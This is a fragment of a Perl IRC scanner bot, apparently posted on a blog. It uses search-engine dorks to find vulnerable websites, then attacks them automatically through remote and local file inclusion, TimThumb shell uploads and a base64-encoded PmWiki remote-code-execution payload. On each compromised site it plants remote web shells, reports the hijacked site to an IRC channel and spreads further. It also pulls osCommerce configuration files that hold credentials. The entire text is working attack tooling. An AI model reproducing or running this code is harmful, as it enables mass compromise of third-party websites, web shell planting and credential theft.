my $uagent = $uagents[rand(scalar(@uagents))]; my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ00"; my $open_test = "/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html"; my $adm_output = ("uid="); my $open_output = ("FCKeditor - Connectors Tests");
my %conf = ( shchan => 1, # Shell info shown in $shchn ssfind => 0, # Show search engine founded sites ssdone => 0, # Show when scan is done soscos => 1, # Show osco meby vurln sites stindb => 0 # Show TIMTHUMB results for debug );
######################################### sub type () { my ($chan,$bug,$dork,$engine,$type) = @_; if ($type == 1){$type=&rfi($chan,$bug,$dork,$engine);} elsif ($type == 2){$type=&lfi($chan,$bug,$dork,$engine);} elsif ($type == 3){$type=&e107($chan,$bug,$dork,$engine);} elsif ($type == 4){$type=&xml($chan,$bug,$dork,$engine);} elsif ($type == 5){$type=&sql($chan,$bug,$dork,$engine);} elsif ($type == 6){$type=&osco($chan,$bug,$dork,$engine);} elsif ($type == 7){$type=&osco2($chan,$bug,$dork,$engine);} elsif ($type == 8){$type=&cpanel($chan,$bug,$dork,$engine);} elsif ($type == 9){$type=&cpanel2($chan,$bug,$dork,$engine);} elsif ($type == 10){$type=&adm($chan,$bug,$dork,$engine);} elsif ($type == 11){$type=&op($chan,$bug,$dork,$engine);} elsif ($type == 12){$type=&zen($chan,$bug,$dork,$engine);} elsif ($type == 13){$type=&osco3($chan,$bug,$dork,$engine);} elsif ($type == 14){$type=&lfd($chan,$bug,$dork,$engine);} elsif ($type == 15){$type=&osco4($chan,$bug,$dork,$engine);} elsif ($type == 16){$type=&timrfi($chan,$bug,$dork,$engine);} elsif ($type == 17){$type=&PmWiki($chan,$bug,$dork,$engine);} } sub scan_start() { my ($chan,$bug,$dork,$engine,$type) = @_; if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Google",$type); } exit; } } if ($engine =~ /google2/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Google2",$type); } exit; } } if ($engine =~ /gigablast/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GigaBlast",$type); } exit; } } if ($engine =~ /euroseek/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EuroSeek",$type); } exit; } } if ($engine =~ /alltheweb/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Alltheweb",$type); } exit; } } if ($engine =~ /bing/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type); } exit; } } if ($engine =~ /altavista/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Altavista",$type); } exit; } } if ($engine =~ /ask/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ask",$type); } exit; } } if ($engine =~ /uol/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uol",$type); } exit; } } if ($engine =~ /yahoo/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo",$type); } exit; } } if ($engine =~ /yahoo2/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo2",$type); } exit; } } if ($engine =~ /clusty/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clusty",$type); } exit; } } if ($engine =~ /gutser/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Gutser",$type); } exit; } } if ($engine =~ /rediff/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Rediff",$type); } exit; } } if ($engine =~ /mamma/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mamma",$type); } exit; } } if ($engine =~ /virgilio/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Virgilio",$type); } exit; } } if ($engine =~ /webde/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Webde",$type); } exit; } } if ($engine =~ /exalead/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Exalead",$type); } exit; } } if ($engine =~ /lycos/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Lycos",$type); } exit; } } if ($engine =~ /hotbot/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hotbot",$type); } exit; } } if ($engine =~ /aol/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Aol",$type); } exit; } } if ($engine =~ /sapo/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sapo",$type); } exit; } } if ($engine =~ /duck/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Duck",$type); } exit; } } if ($engine =~ /yause/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yause",$type); } exit; } } if ($engine =~ /baidu/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Baidu",$type); } exit; } } if ($engine =~ /black/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Black",$type); } exit; } } if ($engine =~ /onet/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Onet",$type); } exit; } } if ($engine =~ /sizuka/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sizuka",$type); } exit; } } if ($engine =~ /walla/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Walla",$type); } exit; } } if ($engine =~ /demos/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Demos",$type); } exit; } } if ($engine =~ /rose/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Rose",$type); } exit; } } if ($engine =~ /seznam/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Seznam",$type); } exit; } } if ($engine =~ /tiscali/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tiscali",$type); } exit; } } if ($engine =~ /naver/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Naver",$type); } exit; } } if ($engine =~ /amidalla/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AmiDalLa",$type); } exit; } } if ($engine =~ /buscar/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BusCaR",$type); } exit; } } if ($engine =~ /kvasir/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KvaSiR",$type); } exit; } } if ($engine =~ /excite/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eXciTe",$type); } exit; } } if ($engine =~ /interia/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InteRia",$type); } exit; } } if ($engine =~ /snz/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SnZ",$type); } exit; } } if ($engine =~ /rambler/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RambLer",$type); } exit; } } if ($engine =~ /yandex/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaNdeX",$type); } exit; } } ###### NIEUWE ###### if ($engine =~ /netsprint/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NetSprint",$type); } exit; } } if ($engine =~ /saol/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sAol",$type); } exit; } } if ($engine =~ /lookle/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Lookle",$type); } exit; } } if ($engine =~ /optuszoo/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"optusZoo",$type); } exit; } } if ($engine =~ /search66/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Search66",$type); } exit; } } if ($engine =~ /arrama/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Arrama",$type); } exit; } } if ($engine =~ /excitejp/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eXciteJP",$type); } exit; } } if ($engine =~ /biglobe/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; } } if ($engine =~ /clix/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type); } exit; } } if ($engine =~ /searchch/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SearchCH",$type); } exit; } } if ($engine =~ /cada/i) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cada",$type); } exit; } } #################### } ######################################### sub rfi() { my ($chan,$bug,$dork,$engine) = @_; my $count = 0; my @list = &search_engine($chan,$bug,$dork,$engine,$rfilogo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { if ($conf{ssdone} == 1) { &msg("$chan","$rfilogo 12( 4@ 0$engine 12) 9== 14F 9= 15I 9= 0N 9= 0I 9= 0S 9= 14H 9=="); } } my $coba = "http://".$site.$bug.$injector; my $test = "http://".$site.$bug; my $cek = &get_content($test);sleep(1); &get_content($coba);sleep(1); if ($cek =~ /failed to open stream/i) { &rfi_xpl($test,$chan,$site,$engine); } } } }
sub rfi_xpl() { my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $dor = $url.$botshell."?"; my $test = $url.$injector."?"; my $check = &get_content($dor); &get_content($test);sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/i) { &info_main($dor,$chan,$engine,$rfilogo); } }
######################## timrfi sub timrfi() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$timlogo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { if ($conf{ssdone} == 1) { &msg("$chan","$timlogo 12( 4@ 0$engine 12) 9== 14F 9= 15I 9= 0N 9= 0I 9= 0S 9= 14H 9=="); } } my $vuln = "http://".$site.$bug; my @dirs = ("functions","functions/scripts","functions/timthumb","framework/includes","framework/thumb", "scripts","scripts/timthumb","scripts/thumb","lib","lib/script","lib/thumb","lib/timthumb", "inc","includes","includes/thumb","includes/timthumb","library","library/thumb", "library/resource","library/timthumb","library/functions","modules","images","phpthumb", "layouts","phpThumb","thumb","timThumb","timthumb","tools","tools/timthumb","tools/thumb","options","js",""); foreach my $dir (@dirs) {
my $testsha = "http://".$site.$bug.$dir."/timthumb.php?src=".$blog."sh.php"; my $testbta = "http://".$site.$bug.$dir."/timthumb.php?src=".$blog."index.php";
my $htmla = &get_content($testsha); &get_content($testbta); sleep(3); if ($htmla =~ /Unable to open image/i ) { &tim_xpla0($vuln,$dir,$blog,$chan,$site,$engine); &tim_xplb0($vuln,$dir,$blog,$chan,$site,$engine); &tim_xplc0($vuln,$dir,$blog,$chan,$site,$engine); &tim_xpld0($vuln,$dir,$blog,$chan,$site,$engine);
my $testshb = "http://".$site.$bug.$dir."/thumb.php?src=".$blog."sh.php"; my $testbtb = "http://".$site.$bug.$dir."/thumb.php?src=".$blog."index.php";
my $htmlb = &get_content($testshb); &get_content($testbtb); sleep(3); if ($htmlb =~ /Unable to open image/i ) { &tim_xpla0($vuln,$dir,$blog,$chan,$site,$engine); &tim_xplb0($vuln,$dir,$blog,$chan,$site,$engine); &tim_xplc0($vuln,$dir,$blog,$chan,$site,$engine); &tim_xpld0($vuln,$dir,$blog,$chan,$site,$engine);
my $testshb = "http://".$site.$bug.$dir."/phpThumb.php?src=".$blog."sh.php"; my $testbtb = "http://".$site.$bug.$dir."/phpThumb.php?src=".$blog."index.php";
my $htmlb = &get_content($testshb); &get_content($testbtb); sleep(3); if ($htmlb =~ /Unable to open image/i ) { &tim_xpla0($vuln,$dir,$blog,$chan,$site,$engine); &tim_xplb0($vuln,$dir,$blog,$chan,$site,$engine); &tim_xplc0($vuln,$dir,$blog,$chan,$site,$engine); &tim_xpld0($vuln,$dir,$blog,$chan,$site,$engine);
&tim_xpla1($vuln,$blog,$chan,$site,$engine); &tim_xplb1($vuln,$blog,$chan,$site,$engine); &tim_xplc1($vuln,$blog,$chan,$site,$engine); &tim_xpld1($vuln,$blog,$chan,$site,$engine); &tim_xpla2($vuln,$blog,$chan,$site,$engine); &tim_xplb2($vuln,$blog,$chan,$site,$engine); &tim_xplc2($vuln,$blog,$chan,$site,$engine); &tim_xpld2($vuln,$blog,$chan,$site,$engine); } } } # exit; } } # dirs getted from engine # sub tim_xpla0() { my($url,$dir,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url.$dir."cache/external_".md5_hex($shell).".php"; my $dur = $url.$dir."cache/external_".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
sub tim_xplb0() { my($url,$dir,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url.$dir."cache/".md5_hex($shell).".php"; my $dur = $url.$dir."cache/".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
sub tim_xplc0() { my($url,$dir,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url.$dir."temp/external_".md5_hex($shell).".php"; my $dur = $url.$dir."temp/external_".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
sub tim_xpld0() { my($url,$dir,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url.$dir."temp/".md5_hex($shell).".php"; my $dur = $url.$dir."temp/".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
# / sub tim_xpla1() { my($url,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url."cache/external_".md5_hex($shell).".php"; my $dur = $url."cache/external_".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
sub tim_xplb1() { my($url,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url."cache/".md5_hex($shell).".php"; my $dur = $url."cache/".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
sub tim_xplc1() { my($url,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url."temp/external_".md5_hex($shell).".php"; my $dur = $url."temp/external_".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
sub tim_xpld1() { my($url,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url."temp/".md5_hex($shell).".php"; my $dur = $url."temp/".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
# /uploads/thumb-temp/ sub tim_xpla2() { my($url,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url."wp-content/uploads/thumb-temp/external_".md5_hex($shell).".php"; my $dur = $url."wp-content/uploads/thumb-temp/external_".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
sub tim_xplb2() { my($url,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url."wp-content/uploads/thumb-temp/".md5_hex($shell).".php"; my $dur = $url."wp-content/uploads/thumb-temp/".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
sub tim_xplc2() { my($url,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url."wp-content/uploads/thumb-cache/external_".md5_hex($shell).".php"; my $dur = $url."wp-content/uploads/thumb-cache/external_".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
sub tim_xpld2() { my($url,$mode,$chan,$site,$engine) = @_; my $shell = $mode."sh.php"; my $bot = $mode."index.php"; my $dor = $url."wp-content/uploads/thumb-cache/".md5_hex($shell).".php"; my $dur = $url."wp-content/uploads/thumb-cache/".md5_hex($bot).".php"; my $check = &get_content($dor); &get_content($dur); sleep(1); if ($check =~ /<font face='verdana' size='2'><b>ID:<\/b> 0wn3d<\/font><br>/ ) { &info_main($dor,$chan,$engine,$timlogo); } }
######################### PmWiki sub PmWiki() { my ($chan,$bug,$dork,$engine) = @_; my $count = 0; my @list = &search_engine($chan,$bug,$dork,$engine,$e107logo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { if ($conf{ssdone} == 1) { &msg("$chan","$pmwilogo 12( 4@ 0$engine 12) 10== 14F 10= 15I 10= 0N 10= 0I 10= 15S 10= 14H 10== "); } } my $test = "http://".$site.$bug; my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ=="; my $html = &PmWiki_rce_query($test,$code); if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $sys = $1; my $upload = 'if(@copy("'.$injector.'","pb.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","h4rd.php"); } '; my $res = &PmWiki_rce_query($test,encode_base64($upload)); if ($res =~ /c0liSUKSESc0li/) { &get_content("http://".$site."pb.php"); &msg("$chan","$pmwilogo 12( 4@ 0$engine 12)( 4@ 8SHELL 12) 13 http://".$site." 13h4rd.php 12( 4@ 8".$sys." 12)( 4@ 0safemode- 9OFF 12) ");sleep(2); } &PmWiki_spread_query($test); sleep(2); } exit; } sleep(2); } elsif ($html =~ /v0pCr3w<br>sys:(.+?)<br>/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $sys = $1; my $upload = 'if(@copy("'.$injector.'","pb.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","h4rd.php"); }'; my $res = &PmWiki_rce_query($test,encode_base64($upload)); if ($res =~ /c0liSUKSESc0li/) { &get_content("http://".$site."pb.php"); &msg("$chan","$pmwilogo ( 4@ 0$engine 12)( 4@ 8SHELL 12) 13 http://".$site." 13h4rd.php 12( 4@ 8".$sys." 12( 4@ 0safemode- 4ON 12) ");sleep(2) } &PmWiki_spread_query($test); sleep(2); } exit; } } } } }
sub PmWiki_rce_query() { my $url = $_[0]; my $code = $_[1]; my $cmd = "eval(base64_decode(".$code."));include('".$injector."');"; my $req = HTTP::Request->new(POST => $url); $req->content_type("application/x-www-form-urlencoded"); $req->content("action=edit&post=save&n=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D"); my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(7); my $res = $ua->request($req); return $res->content; } sub PmWiki_spread_query() { my $url = $_[0]; my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ=="; my $cmd = "eval(base64_decode(".$code."));include('".$injector."');"; my $req = HTTP::Request->new(POST => $url); $req->content_type("application/x-www-form-urlencoded"); $req->content("action=edit&post=save&n=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D"); my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(7); my $res = $ua->request($req); }
sub osql() { my $chan = $_[0]; my $site = $_[1]; my $engine = $_[2]; my $test = "http://".$site."admin/file_manager.php/login.php?action=download&filename=/includes/configure.php"; my $re = &get_content($test); if ($re =~ /http:\/\//){ &osql_xpl($test,$chan,$engine,$site); } }
0 comments:
Post a Comment